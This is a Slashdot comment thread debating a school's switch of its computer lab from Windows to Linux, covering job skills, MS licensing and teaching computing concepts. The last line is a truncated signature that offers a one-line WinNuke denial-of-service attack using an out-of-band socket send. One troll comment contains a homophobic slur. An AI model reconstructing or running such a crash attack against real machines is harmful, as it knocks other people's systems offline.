Now, I use Windows, Linux and FreeBSD on a regular basis. The only problem I have with using any of these is that I often sit middle clicking in windows and wondering why paste isn't happening. Most of the software I use is either the same on all platforms (OpenOffice, Mozilla, gcc, bash, gvim, the GIMP etc.) or sufficiently similar that it makes no difference. The problem is not what people use in school, because that's going to be an antique by the time they leave school, but that they're taught that the things they are learning are abstractions, things like ctrl-x/c/v are generic, and not functions of particular applications, and how to understand things like directory (or 'folder') hierarchys.
I am TheRaven on Soylent News
Cloning and sysprepping isn't a feature intro'd in W2K. See http://support.microsoft.com/default.aspx?scid=kb; en-us;Q196019
Only thing is NT4 is probably more sensitive to hardware variations as the PNP features don't work as well.
It's also anti-M$ paranoia to think they'd somehow be against cloning. They wouldn't be able to sell to big business (think IBM, banks etc) if they had to install every OS and app workstation at a time.
I'm OS-agnostic, use both M$ and Linux.
Bad pun.
They can teach availinux, http://www.availinux.com to the masters students!
I work with a school district in Central Washington that has networked the entire district (only three schools really) using Linux as the infrastructure (routers, mail, proxies and the like) and Winblows and Macs for the end (l)users. This mix has resulted in a huge increase in the number of computers supportable in the district and given students the skills employers expect. However my personal opinion is anyone who can use OpenOffice or KOffice would be able to learn MSOffice in just a few hours.
"Business students"???????"
Hmm. I'm not sure whether that's the right term. I meant a broader spectrum. Business students, yes, but also non-managerial office workers, professional workers that need to interact with non-specialized computer systems, that sort of thing.
Yeah, all those twelve-year-olds leaving GHCA to join the job market will suffer greatly.
Where do you propose they start learning Windows and MS apps? Junior high? High school? College? Should they tell a business that they'll need on-the-job training with the software packages? Sure, it'd be nice to find a job where you *don't* use MS apps, but to be honest, the majority of them do.
At worst, all that this will mean is an awkward year of adjustment when they first get to college, though even there, a solid knowledge of Linux will, in fact, give them other edges including better odds of getting junior IT work (such as helping out in the labs for work-study or managing some department's local server problems) during college. Hmmmm, other kids trying to get jobs as waiters, these kids already qualified for minor sysadmin work; sounds like a win-win to me.
No, this I have to disagree with. I tried to mention this in my original post. Slapping Joe User on a Linux box in a user-level environment where they see windows and icons simply doesn't automatically make them a sysadmin -- having "used Linux" isn't a magic wand that makes people technically competent. Sure, lots of Linux users *are* technically competent -- but that's because technically competent users often graviate to Linux. The cause and effect is, I'd argue, more in the other direction.
Finally, I also mentioned that I'm not talking about IS or CS students. They may possibly (and keep in mind, there are still a lot more Windows-based jobs out there...I'd like to work at Red Hat, but I suspect it's a bitch to get in) be better off using Linux. However, they are also a small minority.
I love how the Redmond-damaged always pull that one out when somebody suggests anything but Windoze.
I can't say that really applies -- I *have* used Windows before, and people ask me to help me with their Windows computers, but I've really had a Windows only box for about six months, between years of Mac OS only and years of Linux only. I don't think Linux is a bad thing, and it's great if you're into software development or sysadmin work. I just don't think it's currently the best thing to be teaching all elementary school students (from the students' perspective).
Especially in a case like this where the article points out that most of their students already use Win. at home. If you'ld read it you would know that.
What, so the economically-privileged, most-likely-to-be-college-bound should be the only ones to have Windows experience? The whole idea of putting computers in public schools was so that the US population had mass, applicable experience with computer usage, so we don't have masses being turned out each year that have to be trained on the job or deal with things in college.
So, I'm curious, 0x0d0a, should I put you down as sloppy, bigoted, or foolish?
Well, I guess it's kind of hard for me to argue against slanted terms like those. I don't think I'm particularly bigoted. *I* use LaTeX when I write documents, have only Linux on my computer (and have for years), use Open Office to deal with MS documents, try to convince people I interact with to use open file formats like RTF instead of Word documents, use gnumeric, develop with the GNU suite even when I'm stuck working on Windows, and have contributed plenty of patches to Linux software. I really think that any argument about bigotry would have to be that I'm biased towards Linux. I just don't think that it's in the best interest of the kids at this school to be using Linux instead of becoming familiar with the MS suite and Windows.
May we never see th
They were first gen iMacs, those horrible round mice, w/ the half and half balck/white balls. Optical mice were expensive then. Another problem with optical mice is that they have trouble tracking on the foe wood laminate most (physical) desktops used in school computer labs are made out of.
"Sic Semper Tyrannosaurus Rex."
They're using KDE!
You are dead wrong. Windows skills is seen as a given. Stating that you know how to use Word is like enclosing your 200 yard swimming certificate, or stating that you know how to ride a bike.
:-) ) isn't quite as taken-for-granted as you put in.
I disagree. In the IT field, perhaps. The overwhelming majority of IT, CS, and people in other tech-specific disciplines have at least good user-level knowledge of Windows, if not the Microsoft suite (I can figure out how to pull something off in the MS suite, but I've never owned it, and I certainly couldn't answer qustions about subtleties about style sheets, and someone hiring me for an office job would likely be better served by someone with reasonable experience with MS Office).
This is not the case for much of the rest of the world, though. I remember when I was getting recommendations for college a few years back. I needed several letters of recommendation. One was from a high school history teacher that used Word much like a typewriter, putting a hard carrige return after each line, which didn't interact particularly well with Word's automatic capitalization of the first letter in the first word of each paragraph.
And that's from someone that's at least somewhat educated and has regular access to Windows *and* the MS office suite. A good third of the US population doesn't have a computer of any sort at home.
Most of the non-tech 45+ year old people in non-tech fields I know can manage to cope with a word processor reasonably well, but don't deal well with things like setting tabs, don't understand things like tables, and *definitely* don't use things like stylesheets. They aren't stupid people. They simply grew up with typewriters, and have a good skillset in that area -- *I* am not very familiar with conventions for spacing and correction on typewriters, to be honest. There are conventions for how to space tables in formal documents on a typewriter, there are number-of-spaces rules that I simply do not know. Put me in front of a typewriter, and I will produce output that is significantly inferior to theirs.
So I have to say that good competency, the ability to quickly interact with MS applications to produce good output (yes, I realize that can be difficult for anyone
Also, in many cases the reason you can take it for granted is *because* these people get exposure to it in schools...you know, "business computer literacy" classes and the like. This guy is trying to substitute Linux and free office software for MS software, possibly the one place where they get exposure to and good experience with MS software before a job. While his goals are laudable, I still think that some skills of the students are being sacrificed.
Stating linux skills and alternative applications is a good way to show that you can think for yourselves and at least for now makes you stand out.
Sure, having *more* skills is always good. The problem is whether they're also as skilled as MS's software as someone that used MS software regularly through school, since I suspect that the MS software is more likely to be used by them.
May we never see th
But with 90% of the world's computers running a MS operating system, it is obvious that the school isn't giving them Linux experience instead of windows but augmenting their windows life(tm) with something different.
;-) I dunno, there are people on Slashdot that I'd consider both more and less experienced than I am, but I think I've the grounds to make a reasonable judgement call here.
But whether they ever *see* Windows and Office doesn't really have that much impact. Where are they to get serious experience? Most people use computers in school, and if they have one, at home, and little elsewhere until they go to college/get a job.
I've seen several posts agreeing that Windows experience is valuable, but claiming that one will get it at home. Are we then to discriminate against all those students that cannot afford a computer, or perhaps use Mac OS at home? They can be sacrificed upon the altar of "wider experience" for all the students that run Windows at home?
The purpose of public education is to provide a basic, useful foundation that is available to everyone. It is not simply to help out the children of the privileged. So I cannot agree based only on these grounds.
And adaptation to different computing environments is a very important skill, something which appears to be sorely underrepresented in today's education. Elementary school kids should be switched from Mac, Linux, Windows, BSD, SUN, and any other environment they can get their hands on, as the computer interface they will use in 15 years when they make it to the work force will represent windows as much as XP resembles dos.
Is it? Should the re-learn their application set all all the associated features? Sure, that's second nature to most Slashdot readers. You've already spent the down time learning a few operating systems, and switching around has a benefit to you (you likely use non-Windows operating systems) and little cost (you don't remember how much pain and time you went through to acquire all that knowledge). It's hard to phrase the question in a reasonable way, but let me try this. Suppose for the next four years, your editor was switched under you once a year to give you valuable general skills. First year nano, second year nedit, third year emacs, fourth year vi. Would that really benefit you all that much, or would you burn time (and possibly resent) having to learn something that you are less likely to actually use after this four-year program?
Sorry, it's pretty insignificant, compared to being able to offer a programming elective.
It comes down to computer science again. *I* am CS. I like software development. But too many people on Slashdot lose sight of the fact that the vast majority of people simply are not in IS/IT/CS/etc. Yes, *I* would have loved to have Linux on the systems at school (or at least a Linux server with accounts for everyone, which I think is a more feasible solution). It would have been lovely for me. But is it really what's best for the *other* students? It simply doesn't seem to be that it is.
You're probably trolling too
[shrug] I'm making an argument that's fairly controversial on Slashdot. It's one that I feel to be true. I don't think that you can call that "trolling".
(as judging from your previous comments you don't seem to be experienced)
I knew pushing GNOME over KDE would come back to bite me one day.
But this is exactly the sort of argument that you hear from many computer-illiterate managers who are struggling to learn the "industry standard" interface. To the next generation, Office is a 4-th grade computer literacy level. We can do better.
This is not a question of "ignore or do not ignore Linux" or "general computing skills or a single package". Heck, if someone wants to set up dual boot machines, and someone is willing to donate time and admin the Linux side of things, I think making KWord available is fine too. It's a question of "familiarity with which package is more likely to be of use to a student". And based on those grounds, I'd have to say that students are best off using MS software.
Though it'd be nice if teachers didn't try to *force* people to use MS software -- if you want an assignment on disk (which none of *my* elementary/junior high/high school teachers did, but things may have changed since I was there), requiring that it be in Word format seems like a bad idea).
May we never see th
One more thing. We're arguing over whether Windows application familiarity or Linux application familiarity are more useful. Look at your own resume on your web site:
Languages: C, C++, Macromedia Flash, Javascript, HTML, TI and Visual Basic,
Applications: Microsoft Office, Word, Excel, Photoshop, Dreamweaver, UltraEdit, 65 WPM
Operating Systems: Debian, Mandrake, Red Hat Linux, Mac OS X, Mac OS 9, Palm OS,
Windows 98, 95, ME, NT, 2000, XP
May we never see th
My friend and I are opening a business, we were thinking of turning the 40+
computers we have into some kind of rentable cluster.
We came across the United Devices website.
Basically you run this distributed client (ala
seti@home) on your machines, and when they're not in use you get paid for
your underutilized CPU time. The bank loves it because it means we make
enough for rent without even having to rely on our primary business.
For a small private school in maine, this means more money for the labs that
could be used to pay for a bigger pipe to the internet, better equipment, ect.
I hope the schools sysadmin sees this.
This has got to take off - the economics will be too compelling, especially when the use of Linux in the educational world develops critical mass.
So, I think there is a market here -- not a very high paying market, but a market - for people offering consulting and training on deploying Linux in a school environment. There are a lot of very cool things going on in that environment, and it is probably more friendly than most to the concept of open source.
You seem to be totally missing the point. There's not a chance in hell that the whole world will just pick a day and switch to LInux. You have to do it damn near one person at a time.
:) Just like once upon a time DOS hackers instantly became transformed into "experts".
:-) I'm just dubious that all this can be achived by using KWord instead of MS Word.
:)
I realize that. That's why I said that it's a public-good problem.
I think that change really needs to start at the business end, though, where change *can* trickle in (require open document formats, start dual-supporting Open Office and MS Office). An educator's responsibility is to help their charges do as well as they can, not hurt them to help a revolution. If I were a teacher and an ardent creationist, I may really honestly believe that the world was created two thousand years ago. I may think that the evolution of man from ape is a load of horseshit. But my responsibility as an educator is not to use my students as tools to enact change, but to do what will best prepare them for the professional world. And it's not great for biology students to be burdened with creationist dogma.
First this school does it (they're not first, I know), then another school sees it and does it. Especially if this school starts spewing out higher test scores because their students are using an OS that respects them. It's called a "snowball" or a "domino" effect, and it's the only way change can be enacted.
I'm not saying this is impossible, but I think that the schools should be the last to adapt. Schools shouldn't have a political or ideological agenda -- they should simply be on the "side of the students", sappy as that sounds. Let businesses realize the benefits and change, and the schools adjust to fit the world.
Actually, it does.
I've always felt that much of this is because only people that were technically adept ended up *using* the systems heavily. I know a lot of people with user-level abilities in the DOS world, but not admin-level. People that were required by work to use ODS, instead of simply hobbists, weren't really better off. You had secretaries using WordPerfect for DOS. Sure, they learned a lot of key combinations for the program (just as they do in Word XP), but they couldn't fix a misinstalled driver. You had a far smaller proportion of people dicking around with computers -- they tended to be the techies.
Inevitably, you *will* run a GNOME app under KDE or vice versa. ANd this is where it happens that people who use GNU/Linux automatically learn how to adapt to changing interfaces.
So they should install Linux, KWord and Open Office, and require students to alternate between the two programs? I'm kind of dubious. If someone is *really* experienced with a program, there's a fair amount of time when the person acquires a similar skill set in the other program (say, a Microstation guru moving to AutoCAD). Perhaps they don't like using the new program because they're so good at the first that it's annoying to switch. But it's certainly doable -- I just watched said Microstation to AutoCAD transition occur with people that had been working with Microstation for years and years. It takes a while to come up to speed, but it's not like they take *longer* to learn AutoCAD because they knew Microstation.
This last point is mostly irrelevant, however, because you forgot the most important thing this school is doing. It's teaching kids about their freedom by showing them a free OS. Whether or not the kids learn it is up to them, but the school is making the information available. You don't even have *that* in a windows-dominated school. Furthermore, it's freeing the kids as individuals to chose their own OS, their own platform in general, and showing them *how* to stand up for themselves. (I realize it's different than standing up to the playground bully)
Mmm...I'm not saying that there isn't a sliver of value here, but there are (IMHO) far more valuable ways to do this. One day in history class on, say, the Revolutionary War or the Civil War should really teach students more about "freedom" than a whole K-12 of using Linux.
I mean, the computer issue is near and dear to our hearts, so it's hard to be objective. Let me put it this way -- do we switch school buses around to give students "experience with foreign-built buses, so they know that American-made vehicles may not be the best?" There are people who really get up in arms about how uneducated people are about their vehicle purchases, and how much they fall into marketing bullshit -- much like we complain about with MS. But to most people, a computer is just another tool, just like a car is to me.
I disagree that a school's purpose is to prepare kids for the workplace, because that smacks of slavery to me.
Naturally, that isn't its only purpose. But students *are* going to end up familiar with *some* software package. Why not make it something that they are mostly like to be able to take advantage of later on in life?
We should all be preparing our kids to live as responsible, free adults. Education is the single most valuable tool we can give them, and that is what school is for. It's not about just teaching them how to be good worker drones. We also have to teach our kids how to cook, clean their homes, mend their pants (it's not always possible to buy new pants), make and maintain relationships, and so forth. We have to hand this world down to our kids when they reach adulthood, and we fuckin' better prepare them.
Sure (come to think of it, nobody ever taught me to mend pants, dammit, and I remember a home ec class in there somewhere).
Speaking as a parent of two, with a third on the way.
Congrats!
May we never see th
We had to build our own as do most schools using Linux. http://k12ltsp.org/rhs_casestudy.html
When will large vendors realize that there is a market in K12 for Linux? EVERY install I see is the result of one or two hard working teachers, often supported by local LUGs working to save $$$ and provide technology to classrooms.
It's great to see this but these teachers are the exception not the norm.
Indeed, this is true. Focussing on teaching a specific office automation application to students is not useful. That's why I found the answer to the question of "computer lab or vocational education?" a relief.
The article explains how the computer lab was used for a broad range of computer-based education efforts, as well as education about computers. Kintergarteners are using hand-eye coordination builders. Grade schoolers use drawing software. High schoolers learn anything from office automation to research skills to advanced computer programming.
The article also shows that a critical component to real education is in place:
Because the students are trained to understand the metaphor, not just the syntax (push that button to make text bold), the students have a more solid foundation for learning the different twists on that same metaphor.
At the same time, I don't think that Windows or Office will remain dominant. My company depends on Microsoft Office products today. But Microsoft has made it continually more difficult for us to keep what we have. First their new licensing push, then the fact that they chose to raise prices without adding any significant value.
I cannot speak for my company, but, in my opinion, Microsoft has begun to cannabilize their own market. In attempting to lock in users to revolving subscriptions, they will drive users to other alternatives.
I use Linux, Open Office, Mozilla, and Evolution at home. The metaphors are the same, the cost is significantly less, and as a programmer, I can appreciate the fact that the computer is under my control. Computing is not a service provided to me, in the same way that transportation isn't a utility because I own (lease) an automobile.
Teaching these students the underlying metaphor of computing will put them far ahead of other students educated in only the syntax. This is analagous to teaching phonics instead of rote memorization. Phonics explicitly teaches how to frame new words and phrases so they may be understood. This makes it harder to teach, but the payoff (in test scores and in long-term reading skills) is worth it. I think the same is true for computer use. Understanding the metaphor of graphical user interfaces, of computing in general, allows a user to get more out of the system they use, and allows them to learn new applications or software tools more easily. Linux is far superior to Windows in this regard. As the article mentions, Windows goes to great length to obfuscate the inner workings of the operating system.
Just my two cents.
Don't you mods have a fucking sense of humor?
The article is about a private school, not the public ones. I'm not sure what correlation you are trying to make, unless you thought that this was about public schools?
And,
Also, if you've ever bothered to use Open Office, it's so similar to what you would use in Windows that learning it is hardly different than getting used to each new version of MS Office.
Window will have gone through 2-3 major "upgrades" and dozens of service packs. Who knows what Windows 2005 (tm) will look like? 2006? 2007? Better to teach kids computer literacy, rahter than the blind faith that computers will always look like the current incarnation of one particular operating system.
...///...
Did anyone else notice that figure 3 had nakedness in the ktouch list of words to type.
Interesting that they chose that shot. A bit strange for a 'christian' school.
Not at all. My dictionary says that a Luddite is "an opponent of technological progress". Specifically, your argument is laced with a rather vague fear of a future without the MS tit.
Nope. My argument isn't based on whether MS will be *around*, it's whether being familiar with MS Office or a similar Linux app is better for the students.
Even though I've never imported data into a spreadsheet, your description of the task of importing data was enough for me to be able to figure it out.
Uh, huh. Now go find your average, non-techie person. Someone who's used Word at some point before. Plonk them in front of your Linux box. Given that same information, have them fire up Open Office and do a couple of the tasks that seem so trivial to you. Say, copy some formatted data from a web page. Save the file. Send it to a Windows user via email. Sure, I'm more than happy to wget an HTML file, hand edit out the unnecessary crap, import it to the word processor, tweak the layout, save it in my home directory, and then use mutt. But Joe Office Worker is going to want to select the stuff, drag it to Word, save it (in My Documents, which is the only directory he's comfortable with, and tends to lose documents if he puts them elsewhere...and doesn't know how to use Find File), and drag that into Outlook.
My boss gets uncomfortable when his *icons* move around from the locations he's comfortable with. Anecdotal evidence of the abilities of a Slashdot reader simply aren't relevant to what's best for the mass of humanity. I wasn't asking whether *you* can comfortably do that -- that gets reserved for discussions over whether AfterStep or fvwm has a better config file format. I'm talking about the masses.
I'm really not a Microsoft fan in the least. I don't use their products on my own computer (well, win32 codecs loaded by mplayer are an exception, along with the excellent Verdana). However, these schoolchildren are very much different people than you or I, and I don't think it's fair to hurt them because we happen to like Linux. The overwhelming majority of them are not going to be sysadmins, coders, or techies, and really don't care about any type of ideological revolution. They *are*, however, much more likely to have to use products identical to or very similar to Microsoft's products. Whether or not they will KWord or Open Office on the job is much more debatable. I think that the best thing for the *students* should be done.
May we never see th
"...and got better hardware to boot."
With Windows, you have plenty of hardware to boot too. And you enjoy booting it more.
~D:
It's not that Open Office and MS Office are so drastically different. They aren't, really. There aren't that many tasks, at least at the basic level, that you *cannot* accomplish with the other.
I'm not saying that a person should "learn MS Office". I'm with the many other posters that "learning word processing" skills is what's important. However, when the students leave this school, they're going to be more familiar with whatever software package they're using. Are they going to be unable to figure out how to do something in another package, given enough time, and maybe a bit of help from someone else? Probably not. Someone that learned MS Office is not going to be "doomed to never use Office". But in the package that they *have* been working with they are faster, much more facile at performing tasks, and less likely to get hung up on quirks or non-intuitive bits of a given package. So my argument is that since they *are* going to be familizarized with one, the package that they are most likely to end up using should be the one that they should be familiarized with.
In another post, I mentioned my having watched Microstation guru move to AutoCAD. It's quite doable -- you're still doing the same task with a similar tool. But it really does take a long time to become as zippy in AutoCAD as in Microstation -- those years of learning Microstation inside out really add up.
I can move from bash to zsh, too. A *lot* of work has gone into making them operate very similarly, and be compatible. But I still ran into hangups for a good year after doing the switch (at first, how to colorize my prompt in my new shell, then how to make tab completion act similarly, etc). And a shell is really pretty straightforward compared to an office suite.
May we never see th
I learned 6502 assembly language in High School (along with Pascal and BASIC). Glad I didn't have someone like you telling me that I wasn't ready for it.
The cake is a pie
I was on a school district contract 2 years back...
Schools get incredible pricing on Windows and Office licenses. Something like $500 for Exchange 2000 and 1,500 CALS and $8 each for Office XP.
I'm not sure how much they've saved on MS licenses alone...Probably enough to get 3-button mice instead of 2-button mice.
They're most likely getthing their AMD 1600mhz, 20gb, 128mb systems (which, even though are quite powerful machines, pretty low-end for today's systems, and I'm not sure I'd enjoy KDE 3 that much with these guys, but when I got there we started buying Dells by the truck load (literally)
The old IT staff and the teacher who was involved in technology (some 19 year old pimple face, and some 75 year old mainframe stalwart) hated moving from white box pc's, and cried to the school board about Dell being propreitary and incredibly expensive......
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I guess you missed that thread that is taking up half your screen discussing what you just said.
And Yes, I am sure the switch from Open Office to Microsoft Office will take years to accomplish.
If you're in with a university, *go* to the ed department and offer to teach or TA such a class. Or at least sit in on one for a day. Let's turn this trend around at its origin.
Many offices and large companies have switched from mac or windows to linux, unix, etc. This helps greatly with productivity because unix doesn't crash nearly as much. Remember the old DOS? It was what all of the buisnesses used, after a while of ambiguity for OS's. The schools and homes used mac. Companies said, "Oh, you only have experience with mac? Anyone can use mac, it's so easy. We need someone with DOS experience."
Then, windows came along and people said, "Wow! We can have the stability of DOS with the ease of use of macs!" And slowly, everyone switched to windows. Now, windows has become the new mac. The same thing is happening right now. No company is switching from unix to windows or mac, but windows companies are switching to unix. Eventually, all of the buisnesses will use unix, and ordinary people will use linux with GNOME or KDE. It will become the new windows. Though, with linux's open source format, it would be hard for one company to develope monopoly power, as all forms use essentially the same unix core.
Well, I stand by my earlier points (after all, so many others are happy to argue them for me), but looking again, I retract my final "I'm curious . . ." flame. I'm (obviously) in a profoundly pissy mood today and I allowed my venom to outreach my reason.
Sorry.
Rustin
Data is the lever, rigor the fulcrum, brains the force that drives it all.
Hold those mod-down buttons! Let me make my case
Schools running Mac OS X have a user-friendly operating system with business applications as a foundation for their computer classes, with UNIX underpinnings for interested students and intro CS classes.
A really good class would be an introduction to the tcsh or bash shell, along with some some basic UNIX tools, progressing into an introduction to programming class using Python.
All of this is basically turn-key with Mac OS X.
And just in case you're wondering, I think Linux is a great thing.
Darth Vader was upset that Princess Leia wasn't buying into his sales pitch about EmpireOS. Princess Leia was most disappointed about the EULA for EmpireOS - especially the part where your home planet gets destroyed simply because Darth Vader suspected one or two people were running RebelOS.
So the licencing control gets tighter and tighter, and harder to comply to. Princess Leia comes up with this gem (I think I got it right): "The tighter you clench your fists, the more star systems will slip through your fingers!"
I couldn't have put it better myself. In "The Real World" we have Bill Gates, who thinks that by making licencing more complicated, more people are likely to comply with it - but instead he'll find that more people look for alternatives that are easier to understand, and aren't accompanied by jack-booted storm troopers (sorry - audit teams).
One of the companies I support has a legal team who do nothing more than review Microsoft contracts, first to make sure that their department is willing to accept the contract, second to ensure that the terms of the contract are clear enough to give sysadmins guidelines on what can and cannot be legally done, and third to ensure that previous contracts are being complied with.
They are terrified of cutting a deal similar to the one Lando Calrissian thought he'd struck with the Empire. You know, the one that started out as "hand over Luke, and we'll leave you alone" to "hand over Luke, Han Solo, and a fair chunk of your annual profit, and we'll think about not destroying your business."
Switch to Open Source Software, and suddenly you're putting lots of lawyers out of business. Even better, you have more money left over from the extort... sorry, licence fees that you don't have to pay. You can sleep better at night, on a nicer bed too!
good. schools should build computers and teach the students how. it should be a course: "cheap and powerful computer labs 101"
Unlike my friend who is doing CS and I _know_ can understand this stuff. For some reason he makes me hold his hand through Linux. I think as a point of protest, you know, sort of like making me answer every step to prove that Linux is really good? It's quite irritating, because I really don't care anymore whether he uses Linux or not. It's his choice.
So that's the opposite of people learning quickly - stubbornly refusing to learn/remember. Motivation is key.
By purchasing bare-bones computer ``kits'', we were able to save considerable money on the hardware. Part of the savings in purchasing a bare-bones system is that the computer does not come with an operating system.
I do find the following humorous:
I had experimented with Linux a few years earlier but found it somewhat difficult and incomplete. Because some time had passed, I decided to give Linux another try. Going with Mandrake's 8.0 distribution, I installed Linux at home to see if it could replace Windows in a desktop environment. To my amazement, I found Linux to be much more capable this time around. I was one step closer to making my decision to switch our computer lab to the Linux OS.
Yes, it's quite amazing how software changes over the years!
do you know that a single unix admin does the job of 3 six-packs of MSCSE who can't do anyhitng for you unless it starts with "a right click".
Plenty of these at work too and they don't make less than the Unix guys. Comparing the salaries is another MS FUD. So is the "hidden costs of Linux".
Cause you can't beat them above board, now the bad things are "hidden". How about, the over 19,000 registered viral infections, check Symantec's online viris dictionary. It's a freaking bug or too a day for the last 15 years. Crappy products,
buggy software, unstable OS, expensive, intrusive, and not worth it. The game is over!
How are the K-6 teachers going to make use of Linux workstations when 99.99% of the educational software out there is Windows only. I'm not talking about business apps but specialty apps written for the education sector. Most K-6 schools are using computer based learning tools to give students that are above or below average a change to learn at their own pace. Reading labs, math labs, science labs, etc. This stuff just isn't widely available for anything but Windows and Mac. I guess they're stuck with coloring digital pictures, surfing the web, and Potato Guy.
At least it's not red.
Luke-Jr
im sure they saved a buck but the teachers are gonna go nuts
Um, so now that they've installed Linux on all these, who is going to teach the kids? Who is going to maintain them?
When I was in high school they got their first 5 computers in the library. To no one's surprise, their only use was games. One had a pr0n background within a week, and the last time I went 2 of them didn't boot.
Kids will hack. That is fine. But if the teachers cannot outdo them, then these computers are going to get trashed. And what are they going to teach? How to configure your window manager? And students will not automatically appreciate Linux. Most likely they will think it is a cheap, useless version of whatever is in their Vaio or HP at home.
Unless the classwork and the software installed is appealing enough to the students, and unless the schools are willing to do (read "pay for") maintenance, then I am not sure this is an easy celebration.
But I am happy they didn't give MS more money.
I certainly don't disagree with this, but I don't see how it applies to GNU/Linux in schools. Learning how to use a GUI is the same regardless of what kind they learn on. In my old high school they installed Macs to replace the old AMOS network they had. This didn't hurt the kids.
:) (I'm willing to pursue it, though)
:-)
Sure, but that's also very different from moving from Windows to Linux. AMOS-to-Mac is moving towards a system that's more likely to be used by students after school. The same currently goes for Mac-to-Windows.
With GNU/Linux, you also have a completely scalable educational opportunity. If the kid wants to learn just basic shit that the class offers, fine. But no matter how deeply into the innards the kid wants to go, he can, with GNU/Linux. With Windows the educator eventually has to say "Sorry, it's not possible to know that unless you work for Microsoft."
I'd say that there are side benefits for each. People into operating system internals in computer science class can derive a good deal of benefit from using Linux -- it's a good start, and many of the Linux kernel hackers are quite young. Fair enough. But I claim that this is also a relatively small group. There are other side benefits that swing in favor of Windows -- in physics class, we had all sorts of devices with Windows-only controller software. There was a good deal of general-purpose Windows-only educational software (granted, there's at least one Linux project to collect educational software together, but it simply doesn't compare to the offerings for Windows).
Child psychology teaches us that the kid will choose the environment they want to live in based solely on what's available, and using Windows automatically limits them based on arbitrary Intellectual Property restrictions. GNU/Linux makes any computing environment available for the kids.
[shrug] I could as easily say that Linux limits the computing environment. Is the school going to allow people to install arbitrary software on the system? My school certainly didn't, and that was in Windows.
This is true, so far as it goes. However, schools are already used as a platform to condition kids to a political opinion. In my experience, using GNU/Linux as a tool to help them teach the kids about freedom would actually be contrary to what the schools already teach them. This is a subject for a different forum, though.
I've heard a lot of people say that it tries to make the status quo more acceptable -- I'm somewhat dubious. Yes, this does happen for part of school, but I also had a history textbook that panned our actions at the beginning of both the Spanish-American and Mexican-American wars, Panama, and our motives in WWII. I suppose that a common educational ground tends to homogenize cultures and opinions, but I don't think it's to the degree that some of the conspiracy theorists claim.
The answer to that question, based on existing implementations, is that OpenOffice.org is sufficient to teach them how to use a word processor and spreadsheet.
Sure, but so is MS Office. And one of them also familiarizes them with software that they're likely to use. I mean, you could teach driver's ed based on British traffic laws too, and it wouldn't be that hard to learn the minor differences. And for a few, this is beneficial, since they end up moving to Britain. But for most people, the familiarity with the local laws tends to be a benefit.
Fact is, an artist will naturally prefer one over the other as a basic mindset issue, but after achieving proficiency with either of them will likely find that they're both excellent tools.
I suppose in the long run, though I've seen at least three people that started out with Painter instead of Photoshop, and as a result use Painter for even retouching work, where Photoshop is probably a better tool. I'm not claiming that Open Office is bad, just that it's a worse choice for the kids in this situation.
Public schools (I realize the article is about a private school) should be more focussed on teaching the kids the concepts behind the software, because the education will be more portable when they can use their existing education (based on concepts) to learn a different implementation of those concepts.
Oooh, didn't notice it was about a private school. Ah, well. Most points still apply.
MS Office can be used as a platform to teach the same concepts, though.
This is, of course, the reason we learn how to do long-hand division even though a calculator does it much quicker
A bit OT, but I like it. While this is true, it's also not the whole story. At one point, everyone learned to calculate square roots by hand. My mother certainly did, but I didn't. What caused this? The advent of the calculator. A whole set of problems that people now are not taught how to solve in their heads because they have a device that's almost always easy to hand that can do the same thin better.
We're already getting this one day of classtime learning about freedom, and as a result we now live in a society that values safety over freedom. So I ask you, have we done all that we can? Should we do more? How about the blatant hypocrisy of teaching kids about "taxation without representation" and then paying the "Microsoft tax" so that they can learn how to use windows?
This is true -- there are things I don't like about our society -- but neither is it the whole story. We are still, despite having lost some ground, a very free society relative to the overwhelming majority of the world. Furthermore, I don't see Linux as being all that crucial to convincing people that privacy should sometimes be valued over safety.
This is a human problem for which I have no solution.
I wasn't trying to criticize you -- I do the same thing. I'm just trying to point out that the Linux cause that seems so noble to us is trivial to many other people -- and that if you objectify things by looking at something other than Linux, it really can seem trivial to us as well. Would it be great if Linux became the dominant OS? Almost certainly. Is it within the realm of the school's responsibility to detract from it's students chances because officials at that school want to contribute to that cause? I cannot agree. If you want to donate time and teach a free Linux class, you donate your own time. That's something that you can ethically give. But if you take a more practically useful set of experiences from your children, and give them a weaker set, all to contribute to your cause...that I cannot agree with. And that seems, on the face of it, to be what this administrator is doing, and what some of the other posters are supporting.
May we never see th
D00D SKr00 aLL u fAgZ WiND0Wz are The GAY u aLL sUx0r!!!!!
Hi,
Is it true that MS EULA prevents any company or individual from creating a ghost image of a harddisk and using it to install on other workstations?
Thank you.
I've noticed quite a bit of software out there is done with Macromedia. I would guess that all the XML technologies mentioned earlier on Slashdot will go a long way toward alleviating some of the need for emulating or porting. Kind of like when Kylix and VB came over.
I suddenly realize that I read (for example here) that it is common belief that blue is a soothing, relaxing color that makes people underestimate how much time passes by.
Blue skies, Blue ocean, no problems around...
Hmm, the standard windows desktop background is blueish too...
--- Hindsight is 20/20, but walking backwards is not the answer.
While you're at it, M2 the idiot who called this OT down.
But we've got enough already.
Information doesn't want to be anthropomorphized anymore.
Think about it. This is not an opposing viewpoint, it's deliberately worded to provoke. And it's outright silly: The students will have to relearn in order to use IE after learning on Mozilla?
Take a look at the user's posting history and see that he consistently trolls similarly.
Follow his personal link. I haven't done this, but I have a feeling I can guess what you'll find there. Hint: The name of the picture is yhbt.jpg - what do you think "yhbt" stands for?
I'm all for opposing viewpoints and will mod up people who speak intelligently supporting opposing views to my own, but just because someone posting something negative about Linux got modded down doesn't mean the mod was being unfair.
Information doesn't want to be anthropomorphized anymore.
That's why Microsoft eliminated most of the information from the BSOD display--too scary. NT used to give you stack information that could help in debugging. Win2K and later just give you an error number/code name.
hey how many schools taught with apples 15-20 years ago? are those people now suffering cause they didn't have word? NO! people learn to adapt, its what we do. I think overall effect will be well worth it. Largo,FL the entire county switched to linux,and thin clients, saving them 1 million a year in IT, only 5 IT's through out the county. Linux is the better way to go. we all know it.
SimonTek
That's great. Now, in about 5 or 6 years, there might actually be some Linux software for them to run on these computers.
... or not.
The K12Linux.org link also has several other links to other K12 Open Source projects, including:
for the on-line Journal of Open Source Software in schools
It's easier to be a result of the past, but more fun to be a cause of the future! http://www.spacefinancegroup.com/
You know, that would be a good type of project for classes in the 9-12 levels: develop educational software for the K-8 levels. Talk about open source feeding upon itself!
"Orthodoxy is unconsciousness" - Orwell
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It all depends on your intent. If the intent is to teach business apps, Windows is the right choice because that's what businesses use. But Linux offers a richer environment for understanding computer principles.
If you had actually read the article, you would have seen that the students in the lab are about 8 years old. Obviously not a computer science lab. And your point is?
Have you got your LWN subscription yet?
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Winnuke in one line? No problem:9 ")->send("bye",MSG_OOB)'
